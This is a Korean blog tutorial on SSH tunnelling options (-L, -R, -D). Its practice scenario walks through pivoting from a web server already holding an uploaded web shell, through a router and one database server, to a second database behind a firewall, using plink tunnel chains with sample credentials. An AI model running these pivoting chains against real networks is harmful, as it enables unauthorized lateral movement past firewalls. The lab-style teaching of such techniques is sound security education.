반응형

1. 복습


1.1 SSH 터널링이란?

 - SSH 프로토콜을 이용하여 직접 접속할 수 없는 곳과 연결통로(터널)을 만들어 접근할 수 있도록 만드는 기술


1.2 옵션

 - 총 3가지 옵션이 존재한다. (L, R, D)

 - L = Local = 클라이언트측에서 지정한 포트를 listening하다가 연결이 요청되면 미리 설정된 원격지의 해당 포트로 데이터를 전송하는 옵션

 - R = Remote = 서버측에서 지정한 포트를 listening하도록 만들고, 해당 포트로 연결이 요청되면 클라이언트측의 지정한 포트로 데이터를 전송하는 옵션



2. SSH Dynamic Portforwarding


2.1 D옵션

 - D = Dynamic = 클라이언트측에서 지정한 포트를 listening하다가 연결이 요청되면 미리 설정된 원격지로 데이터를 전송하는 옵션


2.2 L,R 옵션과의 차이

 - L,R 옵션 : 하나의 포트와의 연결(1;1 매핑)

 - D 옵션 : 여러 포트와의 연결(1:n 매핑) => 지정한 포트로 접속하면 원격지에 내 PC가 존재한다고 생각할 수 있다.


2.3 명령어

[Linux 환경]

ssh -D [리스닝할 port] [계정]@[포워딩할 목적지 ip] [-p 목적지 ssh 포트]


- (ex) ssh -D 1111 root@10.10.10.10 -p 7899

- 만약 목적지의 ssh 포트가 default인 22번이라면 적지 않아도 된다.


[Windows 환경]

plink -D [리스닝할 port] [포워딩할 목적지 ip] [-P 포트] -l 계정 -pw 패스워드


- (ex) plink -D 1111 10.10.10.10 -P 7899 -l root -pw 1234

- 만약 목적지의 ssh 포트가 default인 22번이라면 적지 않아도 된다.


3. 실습


가정 : Web 서버에 웹쉘이 업로드 되어 있는 상태이다. 라우터와 첫번째 DB의 SSH 계정 정보를 알고 있을 때 방화벽을 넘어 두번째 DB에 접속하여라.


3.1 해결방법 1 = WEB Server에서 -D 옵션 사용

 - WEB server -> plink -D 3333 2.2.2.2 -P 22 -l test -pw test

(이 명령어를 작성할 경우 WEB server에 3333 포트로 연결이 요청되면 2.2.2.2의 22번으로 접속을 하여 공격자가 2.2.2.2에 위치한다고 볼 수 있다. 첫 번째 DB와 두 번쨰 DB는 서로 연결이 되는 상태이므로 Web Server의 3333포트로만 요청이 가면 목적지까지 도달이 가능한 것이다.)


 - WEB server -> plink -R 1111:localhost:3333 111.222.333.444 -P 1234 -l admin -pw admin

( 이 명령어를 작성할 경우 Router의 1111포트로 연결이 요청되면 WEB server의 3333포트로 요청을 넘겨준다. 위의 명령어로 인해 목적지까지 도달할 수 있다.)


- 공격자 PC -> plink -L 2222:localhost:1111 111.222.333.444 -P 1234 -l admin -pw admin

( 이 명령어를 작성할 경우 공격자 PC에서 2222포트로 연결을 요청하면 Router의 1111포트로 요청을 넘겨준다. )


- 공격자 PC -> localhost:2222 

( 이 명령어를 작성하면 Router의 1111포트로 넘어가고 이는 WEB server의 3333포트로 넘어가서 결과적으로 목적 DB까지 접속이 가능하다. )


3.2 해결방법 2 = Router에서 -D 옵션 사용

 - Web server -> plink -R 3333:2.2.2.2:22 111.222.333.444 -P 1234 -l admin -pw admin

(이 명령어를 작성하면 라우터의 3333포트로 연결이 요청되면 그 요청을 첫번째 DB로 넘겨준다.


 - Router -> plink -D 2222 localhost -P 3333 -l admin -pw admin

(이 명령어를 작성하면 라우터의 2222 포트로 연결이 요청되면 그 요청을 자신의 3333 포트로 넘겨준다. 위의 명령어로 인해 요청이 자연스럽게 첫번째 DB까지 하게되고 결과적으로 목적 DB까지 접속이 가능하다)


 - 공격자 PC -> plink -L 1111:localhost:2222 111.222.333.444 -P 1234 -l admin -pw admin

(이 명령어를 작성하면 공격자 PC에서 1111 포트로 연결이 요청되면 router의 2222포트로 연결을 넘겨준다.)


- 공격자 PC -> localhost:1111

( 이 명령어를 작성하면 위의 흐름대로 진행되어 목적 DB까지 접속이 가능하다)


3.3 해결방법 2가 가능한 이유

Q> 첫번째 DB가 내 것처럼 되야지 두번째 DB로 접속이 가능할텐데 해결방법 2처럼 진행하면 WEB 서버가 내 것처럼 되는 것 아닐까?

A> 결과부터 말씀드리면 아닙니다. D 옵션을 사용할 경우 터널링 흐름의 끝이 자기 자신처럼 동작하는 것입니다. 위의 흐름에서 터널링의 끝은 첫번째 DB이므로 공격자가 첫번째 DB에 있다고 볼 수 있게 되어 두번째 DB에 접속이 가능한 것입니다.













반응형

'Hacking > Network' 카테고리의 다른 글

SMTP Open Mail Relay vulnerability  (5) 2020.12.07
usage of Docker  (0) 2020.03.10
NIST, TDES 암호알고리즘의 사용제한 권고  (0) 2019.05.06
SSlv3 취약점 (POODLE vulnerability)  (0) 2019.05.06
WPE 활용 SQL Injection  (0) 2017.03.08
블로그 이미지

rootable

,